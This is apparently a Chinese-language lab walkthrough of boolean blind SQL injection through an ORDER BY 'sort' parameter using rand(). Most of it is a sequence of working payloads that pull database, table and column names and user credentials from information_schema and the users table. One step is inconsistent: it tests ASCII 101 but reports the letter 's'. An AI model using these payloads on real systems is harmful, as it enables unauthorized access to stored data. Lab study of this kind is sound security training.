欢迎界面还是以sort为注入参数 接下来进行注入类型的判断
首先输入一下内容
sort=rand()
多尝试几次 发现界面会发生变化 所以这一关属于数字型注入
然后我们选择使用报错注入 尝试输入一下内容
sort=updatexml(1,if(1=1,concat(0x7e,database(),0x7e),1),1)--+
回显如下 呦原来不存在报错信息啊 后续操作都不能使用报错注入了
开始使用布尔盲注那怎么用呢 我们需要借助一下rand()函数里面是关系表达式 当表达式为1时界面为条件为真时的界面 表达式为0时界面为条件为假时的界面 根据自己操作获取到的界面与基础界面(rand(0)和rand(1)时的两个界面)作比较得出结论
首先获取一下条件为真时的界面 输入如下
sort=rand(1)
回显如下
在获取一下条件为假时的界面 输入如下
sort=rand(0)
回显如下
首先爆数据库的长度 输入如下
sort=rand(length(database())=8)
回显如下
接着获取数据库的名称的首字母 输入如下
sort=rand(ascii(mid(database(),1,1))=101)
回显如下
数据库的首字母为s
接着获取一下表格的个数 输入如下
sort=rand((select count(table_name) from information_schema.tables where table_schema=database())=4)
回显如下
表格的个数为4个
接着获取一下第一个表格的名称个数 输入如下
sort=rand((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6)
回显如下
接着获取一下第一个表格的名称的首字母 输入如下
sort=rand(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101)
回显如下
说明第一个表格的名称的首字母为e
接着进行字段数量的获取 输入如下
sort=rand((select count(column_name) from information_schema.columns where table_name='users' and table_schema=database())=3)
回显如下
字段的个数为3个
接着进行第一个字段的名称个数的获取 输入如下
sort=rand((select length(column_name) from information_schema.columns where table_name='users' and table_schema=database() limit 0,1)=2)
回显如下
接着进行获取第一个字段的名称操作 输入如下
sort=rand(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105)
回显如下
第一个字段的名称的首字母为i
接着获取一下第一个用户名的首字母 输入如下
sort=rand(ascii(mid((select group_concat(username,password) from users),1,1))=68)
回显如下
第一个用户名的首字母为D
闯关成功!!